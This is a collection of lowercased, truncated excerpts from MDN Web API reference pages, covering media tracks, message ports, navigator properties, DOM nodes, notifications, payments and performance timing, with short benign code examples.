note: the condition that most people think of as "muted" (that is, a user-toggled state of silencing a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
...r("mute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its background color changed to #aaa.
MediaStreamTrack.onmute - Web APIs
such an event is sent when the track is temporarily not able to send data.
...the event handler function receives a single parameter: the event object, which is a simple event object.
MediaStreamTrack.onoverconstrained - Web APIs
such an event is sent when the track is again able to send data.
... syntax track.onoverconstrained = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
MediaStreamTrack: unmute event - Web APIs
bubbles no cancelable no interface event event handler property onunmute note: the condition that most people think of as "muted" (that is, a user-controllable way to silence a track) is actually managed using the mediastreamtrack.enabled property, for which there are no events.
...r("mute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its background color changed to #aaa.
MediaStreamTrackEvent() - Web APIs
the mediastreamtrackevent() constructor returns a newly created mediastreamtrackevent object, which represents an event announcing that a mediastreamtrack has been added to or removed from a mediastream.
... track a mediastreamtrack object representing the track which was added to or removed from the stream.
MediaTrackConstraints.aspectRatio - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact match to the required aspect ratio (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.frameRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact match to the required frame rate (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.height - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to provide an exact match to the required height (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.sampleRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to provide an exact match to the required sample rate (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.sampleSize - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to provide an exact match to the required sample size (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.width - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to provide an exact match to the required width (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackSupportedConstraints.frameRate - Web APIs
the mediatracksupportedconstraints dictionary's framerate property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the framerate constraint.
...checking the value of this property lets you determine if the user agent allows constraining the video track configuration by frame rate.
MessageEvent.ports - Web APIs
the ports read-only property of the messageevent interface is an array of messageport objects representing the ports associated with the channel the message is being sent through (where appropriate, e.g.
... in channel messaging or when sending a message to a shared worker).
MessageEvent.source - Web APIs
the source read-only property of the messageevent interface is a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
... syntax let mysource = messageevent.source; value a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
MessagePort: message event - Web APIs
the message event is fired on a messageport object when a message arrives on that channel.
... bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start lis...
MessagePort: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value)...
...; }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
MessagePort.start() - Web APIs
WebAPIMessagePortstart
this method is only needed when using eventtarget.addeventlistener; it is implied when using messagechannel.onmessage.
... example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html livin...
Microsoft API extensions - Web APIs
touch apis element.mszoomto() mscontentzoom msmanipulationevent msmanipulationstatechanged msmanipulationviewsenabled mspointerhover media apis htmlvideoelement.msframestep() htmlvideoelement.mshorizontalmirror htmlvideoelement.msinsertvideoeffect() htmlvideoelement.msislayoutoptimalforplayback htmlvideoelement.msisstereo3d htmlvideoelement.mszoom htmlaudioelement.msaudiocategory htmlaudioelement.msaudiodevicetype htmlmediaelement.mscleareffects() htmlmediaelement.msi...
...nsertaudioeffect() mediaerror.msextendedcode msgraphicstrust msgraphicstruststatus msisboxed msplaytodisabled msplaytopreferredsourceuri msplaytoprimary msplaytosource msrealtime mssetmediaprotectionmanager mssetvideorectangle msstereo3dpackingmode msstereo3drendermode onmsvideoformatchanged onmsvideoframestepcompleted onmsvideooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flowfrom x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconverturl() mselementresize document.mselementsfromrect() msisstatichtml navigator.mslaunchuri() mslaunchuricallback element.msmatchesselector() msprotocols msputpropertyenabled ...
MimeTypeArray - Web APIs
the mimetypearray interface returns an array of mimetype instances, each of which contains information about a supported browser plugins.
... example the following example tests whether a plugin is available for the application/pdf mime type and if so, which plugin that is.
MouseEvent() - Web APIs
"button", optional and defaulting to 0, of type short, that describes which button is pressed during events related to the press or release of a button: value meaning 0 main button pressed (usually the left button) or un-initialized 1 auxiliary button pressed (usually the middle button) 2 secondary button pressed (usually the right button) "but...
...tons", optional and defaulting to 0, of type unsigned short, that describes which buttons are pressed when the event is launched: bit-field value meaning 0 no button pressed 1 main button pressed (usually the left button) 2 secondary button pressed (usually the right button) 4 auxiliary button pressed (usually the middle button) "relatedtarget", optional and defaulting to null, of type eventtarget, that is the element just left (in case of a mouseenter or mouseover) or is entering (in case of a mouseout or mouseleave).
MouseEvent.clientX - Web APIs
the clientx read-only property of the mouseevent interface provides the horizontal coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.clientY - Web APIs
the clienty read-only property of the mouseevent interface provides the vertical coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.screenX - Web APIs
tlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result routing an event when you trap events on the window, document, or other roomy elements, you can get the coordinates of that event (e.g., a click) and route it properly, as the following example demonstrates: function checkclickmap(e) { if (e.screenx < 50) doredbutton(); if (50 <= e.screenx && e.screenx < 100) doyellowbutton(); if (e.screenx >= 100) doredbutton(); } specifications specification status comment css object model (cssom) view modulethe definition of 'screenx' in that specification.
... obsolete no change from document object model (dom) level 2 events specification.
MouseEvent.webkitForce - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... mouseevent.webkitforce is a proprietary, webkit-specific numeric property whose value represents the amount of pressure that is being applied on the touchpad or touchscreen.
msFirstPaint - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msfirstpaint is a read-only property which gets the time when the document loaded by the window object began to be displayed to the user.
msGraphicsTrustStatus - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msgraphicstruststatus is a read-only property which returns an object containing information on protected video playback.
msIsBoxed - Web APIs
WebAPIMsIsBoxed
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msisboxed is a property which gets or sets when the video player control is in boxed (letterbox or pillarbox) mode.
msPlayToDisabled - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msplaytodisabled is a read/write property which gets and sets if the playto device is enabled or disabled.
msPlayToPrimary - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msplaytoprimary is a read/write property which gets or sets the primary dlna playto device.
Navigator.battery - Web APIs
WebAPINavigatorbattery
the battery read-only property returns a batterymanager which provides information about the system's battery charge level and whether the device is charging and exposes events that fire when these parameters change.
... the battery property has been removed in favor of the standard navigator.getbattery() method, which returns a battery promise.
Navigator.clipboard - Web APIs
the clipboard api adds to the navigator interface the read-only clipboard property, which returns the clipboard object used to read and write the clipboard's contents.
... use of the asynchronous clipboard read and write methods requires that the user grant the web site or app permission to access the clipboard.
Navigator.credentials - Web APIs
the credentials property of the navigator interface returns the credentialscontainer interface, which exposes methods to request credentials.
... the credentialscontainer interface also notifies the user agent when an interesting event occurs, such as a successful sign-in or sign-out.
Navigator.mediaDevices - Web APIs
the navigator.mediadevices read-only property returns a mediadevices object, which provides access to connected media input devices like cameras and microphones, as well as screen sharing.
...usually, you just use this object's members directly, such as by calling navigator.mediadevices.getusermedia().
Navigator.mediaSession - Web APIs
in addition, the mediasession interface provides the setactionhandler() method, which lets you receive events when the user engages device controls such as either onscreen or physical play, pause, seek, and other similar controls.
...this information can include typical metadata such as the title, artist, and album name of the song being played as well as potentially one or more images containing things like album art, artist photos, and so forth.
Navigator.mozIsLocallyAvailable() - Web APIs
syntax navigator.mozislocallyavailable(uri, ifoffline); parameters uri the uri of the resource whose availability is to be checked, as a string.
... ifoffline allows you to specify whether or not the offline resources cache should be checked; specify true to consider the offline resources cache.
Navigator.oscpu - Web APIs
WebAPINavigatoroscpu
syntax oscpuinfo = navigator.oscpu value a domstring providing a string which identifies the operating system on which the browser is running.
... x (i386/x64 build) intel mac os x or macos version x.y linux 64-bit (32-bit build) output of uname -s plus "i686 on x86_64" linux output of uname -sm x.y refers to the version of the operating system example function osinfo() { alert(window.navigator.oscpu); } osinfo(); // alerts "windows nt 6.0" for example usage notes unless your code is privileged (chrome or at least has the universalbrowserread privilege), it may get the value of the general.oscpu.override preference instead of the true platform.
Navigator.productSub - Web APIs
example <script> function prodsub() { var dt = document.getelementbyid("d").childnodes[0]; dt.data = window.navigator.productsub; } </script> <button onclick="prodsub();">productsub</button> // returns: 20010725 notes on ie, this property returns undefined.
... on apple safari and google chrome this property always returns 20030107.
Navigator.serviceWorker - Web APIs
the navigator.serviceworker read-only property returns the serviceworkercontainer object for the associated document, which provides access to registration, removal, upgrade, and communication with the serviceworker.
... syntax var workercontainerinstance = navigator.serviceworker; value serviceworkercontainer examples this code checks if the browser supports service workers.
Navigator.vibrate() - Web APIs
WebAPINavigatorvibrate
the navigator.vibrate() method pulses the vibration hardware on the device, if such hardware exists.
...each value indicates a number of milliseconds to vibrate or pause, in alternation.
NavigatorPlugins.mimeTypes - Web APIs
returns a mimetypearray object, which contains a list of mimetype objects representing the mime types recognized by the browser.
... syntax var mimetypes[] = navigator.mimetypes; mimetypes is a mimetypearray object which has a length property as well as item(index) and nameditem(name) methods.
NavigatorStorage.storage - Web APIs
the returned object lets you examine and configure persistence of data stores and learn approximately how much more space your browser has available for local storage use.
... syntax var storagemanager = navigator.storage; value a storagemanager object you can use to maintain persistence for stored data, as well as to determine roughly how much room there is for data to be stored.
NetworkInformation.downlink - Web APIs
in the absence of recent bandwidth measurement data, the attribute value is determined by the properties of the underlying connection technology.
... note that chrome-based browsers do not conform to the specification, and arbitrarily cap the reported downlink at a maximum of 10 mbps as an anti-fingerprinting measure.
Node.compareDocumentPosition() - Web APIs
lue document_position_disconnected 1 document_position_preceding 2 document_position_following 4 document_position_contains 8 document_position_contained_by 16 document_position_implementation_specific 32 syntax comparemask = node.comparedocumentposition(othernode) parameters othernode the other node with which to compare the first node’s document position.
...for example, if othernode is located earlier in the document and contains the node on which comparedocumentposition() was called, then both the document_position_contains and document_position_preceding bits would be set, producing a value of 10 (0x0a).
Node.contains() - Web APIs
WebAPINodecontains
the node itself, one of its direct children (childnodes), one of the children's direct children, and so on.
... syntax node.contains( othernode ) example this function checks to see if an element is in the page's body.
Node.isConnected - Web APIs
WebAPINodeisConnected
examples standard dom a standard dom example: let test = document.createelement('p'); console.log(test.isconnected); // returns false document.body.appendchild(test); console.log(test.isconnected); // returns true shadow dom a shadow dom example: // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create some css to apply to the shadow dom var style = document.createelement('style'); console.log(style.isconnected); // returns false style.textcontent = ` .wrapper { position: relative; } .info { font-size: 0.8rem; wi...
...dth: 200px; display: inline-block; border: 1px solid black; padding: 10px; background: white; border-radius: 10px; opacity: 0; transition: 0.6s all; positions: absolute; bottom: 20px; left: 10px; z-index: 3 } `; // attach the created style element to the shadow dom shadow.appendchild(style); console.log(style.isconnected); // returns true polyfill node.isconnected can be polyfilled with the following code for ie10 and edgehtml: /* * node.isconnected polyfill for ie and edgehtml * 2020-02-04 * * by eli grey, https://eligrey.com * public domain.
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
two nodes are equal when they have the same type, defining characteristics (for elements, this would be their id, number of children, and so forth), its attributes match, and so on.
... the specific set of data points that must match varies depending on the types of the nodes.
Node.localName - Web APIs
WebAPINodelocalName
syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.nam...
...in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms.
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
per the namespaces in xml specification, an attribute does not inherit its namespace from the element it is attached to.
...note too that the namespace prefix, once it is associated with a particular node, cannot be changed.
Node.ownerDocument - Web APIs
syntax var document = element.ownerdocument; value document is the top-level document object in which all the child nodes are created.
... example // given a node "p", get the top-level html // child of the document object var d = p.ownerdocument; var html = d.documentelement; specifications specification status comment domthe definition of 'node: ownerdocument' in that specification.
Node.parentNode - Web APIs
WebAPINodeparentNode
example if (node.parentnode) { // remove a node from the tree, unless // it's not in the tree already node.parentnode.removechild(node); } notes document and documentfragment nodes can never have a parent, so parentnode will always return null.
... it also returns null if the node has just been created and is not yet attached to the tree.
Node.rootNode - Web APIs
WebAPINoderootNode
this is found by walking backward along node.parentnode until the top is reached.
...therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get.
NodeIterator.expandEntityReferences - Web APIs
the nodeiterator.expandentityreferences read-only property returns a boolean flag indicating whether or not the children of entity reference nodes are visible to the nodeiterator.
... if this value is false, the children of entity reference nodes (as well as all of their descendants) are rejected.
NodeIterator.nextNode() - Web APIs
in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method.
... living standard as detach() is now a no-op method, this method cannot throw anymore.
NodeIterator.previousNode() - Web APIs
in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if this method is called after the nodeiterator.detach()method.
... living standard as detach() is now a no-op method, this method cannot throw anymore.
NodeIterator.whatToShow - Web APIs
since attributes are never children of other nodes, they do not appear when traversing over the document tree.
... living standard no change from document object model (dom) level 2 traversal and range specification.
NodeList.item() - Web APIs
WebAPINodeListitem
this is usually obtained from another dom property or method, such as childnodes.
... index is the index of the node to be fetched.
Notation - Web APIs
WebAPINotation
obsolete no change document object model (dom) level 2 core specificationthe definition of 'notation' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'notation' in that specification.
Notification.actions - Web APIs
this is a list of the application-defined actions the user can choose to take immediately within the context of a notification.
... syntax var actions[] = notification.actions; value a read-only array of notificationaction objects, each describing a single action the user can choose within a notification.
Notification.permission - Web APIs
examples the following snippet could be used if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.
... function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { console.log("this browser does not support desktop notification"); } // let's check whether notification permissions have alredy been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== 'denied' || notification.permission === "default") { notification.requestpermission(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); ...
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrenderedbufferchrome full support 14edge full support 12firefox full support 25ie no support noopera full support 15safari full support 6webview android full support yeschrome android full support 18firefox android full support 26opera and...
OrientationSensor - Web APIs
examples basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an absoluteorientationsensor with a frequency of 60 times a second.
... on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone.
OscillatorNode.OscillatorNode() - Web APIs
the oscillatornode() constructor of the web audio api creates a new oscillatornode object which is an audionode that represents a periodic waveform, like a sine wave, optionally setting the node's properties' values to match values in a specified object.
... detune a detuning value (in cents) which will offset the frequency by the given amount.
OscillatorNode.onended - Web APIs
the onended property of the oscillatornode interface is used to set the event handler for the ended event, which fires when the tone has stopped playing.
...for an applied example, check out our violent theremin demo (see app.js for relevant code).
OscillatorNode.type - Web APIs
square a square wave with a duty cycle of 0.5; that is, the signal is "high" for half of each period.
...for an applied example, check out our violent theremin demo (see app.js for relevant code).
PageTransitionEvent.persisted - Web APIs
the persisted read-only property indicates if a webpage is loading from a cache.
... syntax window.addeventlistener('pageshow', function(event) { if (event.persisted) { console.log('page was loaded from cache.'); } }); value a boolean.
PannerNode.positionX - Web APIs
the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in which it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
PannerNode.rolloffFactor - Web APIs
emonstrates how different rollofffactor values affect how the volume of the test tone decreases with increasing distance from the listener: const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 4; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given rollofffactor // and schedules it to move away from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (rollofffactor, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.rollofffactor = rollofffactor; // set the initial z position, then schedule the ramp panner.positionz.
...setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'rollofffactor' in that specification.
PasswordCredential - Web APIs
in supporting browsers, an instance of this class may be passed the credential from the init object for global fetch.
... examples this example shows how to set up an htmlformelement to caputure data which we'll use to create a passwordcredential object.
PayerErrors.email - Web APIs
WebAPIPayerErrorsemail
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####...
...." } // check everything else too...
PayerErrors.name - Web APIs
WebAPIPayerErrorsname
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####...
...." } // check everything else too...
PayerErrors.phone - Web APIs
WebAPIPayerErrorsphone
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####...
...." } // check everything else too...
PayerErrors - Web APIs
for each field in the payment information that fails validation, the payererrors object contains a string explaining the error.
... properties email optional if present, this domstring is a string describing the validation error from which the payer's email address—as given by paymentresponse.payeremail—currently suffers.
PaymentAddress.dependentLocality - Web APIs
the read-only dependentlocality property of the paymentaddress interface is a string containing a sublocality designation within a city, such as a neighborhood, borough, district, or, in the united kingdom, a dependent locality.
...it's used to provide disambiguation when a city may include areas that duplicate street names a sublocality is an area within a city, such as a neighborhood, borough, or district.
PaymentAddress.postalCode - Web APIs
syntax var paymentpostalcode = paymentaddress.postalcode; value a domstring which contains the postal code portion of the address.
... a postal code is a string (either numeric or alphanumeric) which is used by a postal service to optimize mail routing and delivery.
PaymentAddress.recipient - Web APIs
the read-only recipient property of the paymentaddress interface returns a string containing the name of the recipient, purchaser, or contact person at the payment address.
... syntax var paymentrecipient = paymentaddress.recipient; value a domstring giving the name of the person receiving or paying for the purchase, or the name of a contact person in other contexts.
PaymentAddress.regionCode - Web APIs
the code is derived from the iso 3166-2 standard, which defines codes for identifying the subdivisions (e.g., states, provinces, autonomous regions, etc.) of all countries in the world.
... syntax var regioncode = paymentaddress.regioncode; value a domstring indicating the one to three character alphanumeric code representing the region portion of the address.
PaymentCurrencyAmount - Web APIs
currencysystem optional a string describing the standard or specification as well as the currency system identifier within that system which was used to provide the value.
... this has been removed; instead of allowing sites to choose the standard to use, iso 4217 is always used for the currency identifier now.
PaymentDetailsUpdate.shippingAddressErrors - Web APIs
syntax var addresserrors = paymentdetailsupdate.shippingaddresserrors; value an addresserrors object, which contains domstrings describing errors in the properties of a paymentaddress.
... for each property in paymentaddress, a property by the same name is found in shippingaddresserrors if and only if a validation error occurred for that property.
PaymentRequestEvent - Web APIs
properties instrumentkeyread only returns a paymentinstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument.
... modifiersread only returns an array of objects containing changes to payment details.
performance.getEntries() - Web APIs
the items will be in chronological order based on the entries' starttime.
...performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); performance.mark("begin"); do_work(100000); performance.mark("end"); do_work(200000); performance.mark("end"); // use getentries() to iterate through the each entry let p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("entry[" + i + "]"); check_performanceentry(p[i]); } // use getentriesbytype() to get all "mark" entries p = performance.getentriesbytype("mark"); for (let i=0; i < p.length; i++) { console.log ("mark only entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].startti...
Performance - Web APIs
performance.memory read only a non-standard extension added in chrome, this property provides an object with basic memory usage information.
... candidate recommendation changes getentries() interface.
PerformanceEntry.toJSON() - Web APIs
performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; ...
... if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'tojson' in that specification.
PerformanceMark - Web APIs
;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancemark" target="_top"><rect x="201" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px"...
... font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemark</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constraining the properties as follows: performanceentry.entrytype returns "mark".
PerformanceMeasure - Web APIs
;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancemeasure" target="_top"><rect x="201" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="291" y="30" font-size="12...
...px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemeasure</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constrainting the properties as follows: performanceentry.entrytype returns "measure".
PerformanceNavigation - Web APIs
performancenavigation.type read only an unsigned short which indicates how the navigation to this page was done.
... performancenavigation.redirectcount read only an unsigned short representing the number of redirects done before reaching the page.
PerformanceObserverEntryList.getEntries() - Web APIs
this parameter is currently not supported on chrome or opera.
...the items will be in chronological order based on the entries' starttime.
PerformanceObserverEntryList.getEntriesByName() - Web APIs
type optional a domstring representing the type of entry to retrieve such as "mark".
...the items will be in chronological order based on the entries' starttime.
PerformanceObserverEntryList.getEntriesByType() - Web APIs
syntax entries = list.getentriesbytype(type); parameters type the type of entry to retrieve such as "frame".
...the items will be in chronological order based on the entries' starttime.
PerformanceResourceTiming.connectEnd - Web APIs
the timestamp value includes the time interval to establish the transport connection, as well as other time intervals such as ssl handshake and socks authentication.
... just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("...
PerformanceResourceTiming.domainLookupEnd - Web APIs
if the user agent has the domain information in cache, domainlookupstart and domainlookupend represent the times when the user agent starts and ends the domain data retrieval from the cache.
